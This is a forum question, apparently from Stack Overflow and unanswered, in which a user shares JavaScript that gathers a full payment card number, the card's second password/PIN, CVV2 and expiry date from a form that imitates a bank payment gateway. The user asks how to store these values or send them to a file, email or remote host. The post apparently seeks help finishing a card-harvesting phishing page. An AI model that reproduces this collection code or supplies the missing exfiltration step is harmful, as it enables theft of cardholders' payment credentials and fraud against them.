0

I'm just working with HTML and JavaScript and I have a question regarding working with </input> elements and this is one of my inputs:

<input size="4" class="PanInput" id="W_PAN4" name="W_PAN4" maxlength="4" autocomplete="off" onkeypress="return numericOnKeypress(event)" onkeyup="nextTabs(this, false, event)" value="" tabindex="1" dir="ltr" onpaste="doNotPaste()" onfocus="getName(this)" type="text" width="200">

And I made an alert() after a submit button:

<form method="post" name="receiptForm" action="https://google.com" accept-charset="UTF-8" onclick="othername">
  <script>
    function othername() {
      var input1 = document.getElementById("W_PAN4").value;
      var input2 = document.getElementById("W_PAN3").value;
      var input3 = document.getElementById("W_PAN2").value;
      var input4 = document.getElementById("W_PAN1").value;
      var userCardID = input1 + " " + input2 + " " + input3 + " " + input4;
      var input_pass = document.getElementById("W_PIN").value;
      var input_CVV2 = document.getElementById("W_CVV2").value;
      var input_expire_month = document.getElementById("W_EXPIRE1").value;
      var input_expire_year = document.getElementById("W_EXPIRE2").value;
      var input_all = userCardID + " " + "2nd_Password = " + input_pass + " " + "CVV2 = " + input_CVV2 + " " + "ExpireDateYear = " + input_expire_year + " " + "ExpireDateMonth = " + input_expire_month;
      alert(input_all);
    }

I want to have a function similar to this:

<script type="text/javascript">
  function WriteToFile(passForm) {
    set fso = CreateObject("Scripting.FileSystemObject");
    set s = fso.CreateTextFile("Location_Here", True);

    s.writeline(document.passForm.input1.value);
    s.writeline(document.passForm.input2.value);
    s.writeline(document.passForm.input3.value);
    s.Close();
  }
</script>

I mean I want to store those inputs data as a .txt file on localhost or even in an online host.

What is the easiest way to save these data? Format is not important, I can deal with anything E-mail, File and etc. I think it is a server-side work. Any code will be appreciated.

Rick
  • 4,030
  • 9
  • 24
  • 35

0 Answers0